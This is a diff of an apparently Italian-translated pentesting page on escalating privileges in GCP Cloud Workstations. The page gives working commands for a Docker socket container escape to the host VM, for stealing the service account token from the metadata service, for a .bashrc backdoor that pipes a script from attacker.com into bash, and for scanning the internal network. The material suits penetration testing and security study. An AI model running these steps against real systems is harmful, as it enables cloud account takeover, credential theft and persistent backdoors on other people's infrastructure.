Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md

@@ -1,18 +1,19 @@
-# GCP - Cloud Workstations Privesc
+# GCP - Cloud Workstations - Escalation dei privilegi
 
+{{#include ../../../banners/hacktricks-training.md}}
 
 ### Container Breakout via Docker Socket (Container -> VM -> Project)
 
-Il principale percorso di escalation dei privilegi in Cloud Workstations deriva dalla necessità di supportare i workflow **Docker-in-Docker (DinD)** per gli sviluppatori. Quando la configurazione della workstation monta il Docker socket o permette privileged containers (configurazione comune), un attaccante all'interno del container della workstation può escape alla Compute Engine VM sottostante e rubare il service account token.
+Il principale percorso di escalation dei privilegi in Cloud Workstations deriva dalla necessità di supportare flussi di lavoro Docker-in-Docker (DinD) per gli sviluppatori. Quando la configurazione della workstation monta il Docker socket o permette container privilegiati (configurazione comune), un attaccante all'interno del container della workstation può uscire verso la GCE VM sottostante e rubare il token dell'account di servizio.
 
 **Prerequisiti:**
 - Accesso a un terminale di Cloud Workstation (via SSH, sessione compromessa o credenziali rubate)
-- La configurazione della workstation deve montare `/var/run/docker.sock` o abilitare privileged containers
+- La configurazione della workstation deve montare `/var/run/docker.sock` o abilitare container privilegiati
 
-**Contesto architetturale:** La workstation è un container (Layer 3) in esecuzione su un runtime Docker/Containerd (Layer 2) su una GCE VM (Layer 1). Il Docker socket dà accesso diretto al container runtime dell'host.
+**Contesto architetturale:** La workstation è un container (Layer 3) in esecuzione su un runtime Docker/Containerd (Layer 2) su una GCE VM (Layer 1). Il Docker socket fornisce accesso diretto al runtime dei container dell'host.
 
 > [!NOTE]
-> Lo strumento [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizza l'intero container escape e ti apre una root shell sulla host VM.
+> Lo strumento [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizza l'intera escape dal container e ti apre una shell root sulla VM host.
 
 <details>
 
@@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
 
 <details>
 
-<summary>Passo 2: Escape al filesystem della VM host</summary>
+<summary>Step 2: Escape to the host VM filesystem</summary>
 
-Avviamo un container privilegiato, montando la directory root dell'host su `/mnt/host`. Condividiamo inoltre la rete dell'host e il PID namespace per massimizzare la visibilità.
+Lanciamo un container privilegiato, montando la directory root dell'host in `/mnt/host`. Condividiamo inoltre la rete e lo namespace PID dell'host per massimizzare la visibilità.
 ```bash
 # Spawn a privileged container mounting the host's root filesystem
 docker run -it --rm --privileged --net=host --pid=host \
@@ -44,7 +45,7 @@ Ora hai una **root shell sulla Compute Engine VM sottostante** (Layer 1).
 
 <details>
 
-<summary>Passo 3: Rubare il token del service account della VM da IMDS</summary>
+<summary>Passo 3: Rubare il service account token della VM dall'IMDS</summary>
 ```bash
 # From the host VM, query the Instance Metadata Service
 curl -s -H "Metadata-Flavor: Google" \
@@ -61,16 +62,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
 </details>
 
 > [!CAUTION]
-> **Controlla gli Scopes!**
-> Anche se il Service Account allegato è **Editor**, la VM potrebbe essere limitata dagli access scopes.
-> Se vedi `https://www.googleapis.com/auth/cloud-platform`, hai accesso completo.
-> Se vedi solo `logging.write` e `monitoring.write`, sei limitato ai vettori **Network Pivot** e **Persistence** qui sotto.
+> **Verifica gli scope!**
+> Anche se il Service Account allegato è **Editor**, la VM potrebbe essere limitata dagli scope di accesso.
+> Se vedi `https://www.googleapis.com/auth/cloud-platform`, hai pieno accesso.
+> Se vedi solo `logging.write` e `monitoring.write`, sei limitato ai vettori **Network Pivot** e **Persistence** riportati sotto.
 
 <details>
 
-<summary>Passo 4: Achieve Persistence (Backdoor the User)</summary>
+<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
 
-Cloud Workstations montano un disco persistente in `/home/user`. Poiché l'utente del container (di solito `user`, UID 1000) corrisponde all'utente dell'host (UID 1000), puoi scrivere nella home directory dell'host. Questo ti permette di backdoor the environment anche se il workstation container viene ricostruito.
+Cloud Workstations montano un disco persistente in `/home/user`. Poiché il container user (di solito `user`, UID 1000) corrisponde all'host user (UID 1000), puoi scrivere nella home directory dell'host. Questo ti permette di backdoor the environment anche se il container della workstation viene ricostruito.
 ```bash
 # Check if you can write to the host's persistent home
 ls -la /mnt/host/home/user/
@@ -83,9 +84,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
 
 <details>
 
-<summary>Passo 5: Network Pivot (Internal VPC Access)</summary>
+<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
 
-Poiché condividi il network namespace dell'host (`--net=host`), ora sei un nodo attendibile nella VPC. Puoi scansionare i servizi interni che consentono l'accesso tramite IP whitelisting.
+Poiché condividi il namespace di rete dell'host (`--net=host`), sei ora un nodo fidato sulla VPC. Puoi eseguire la scansione dei servizi interni che consentono l'accesso in base all'IP whitelisting.
 ```bash
 # Install scanning tools on the host (if internet access allows)
 apk add nmap
@@ -94,3 +95,7 @@ apk add nmap
 nmap -sS -p 80,443,22 10.0.0.0/8
 ```
 </details>
+
+
+
+{{#include ../../../banners/hacktricks-training.md}}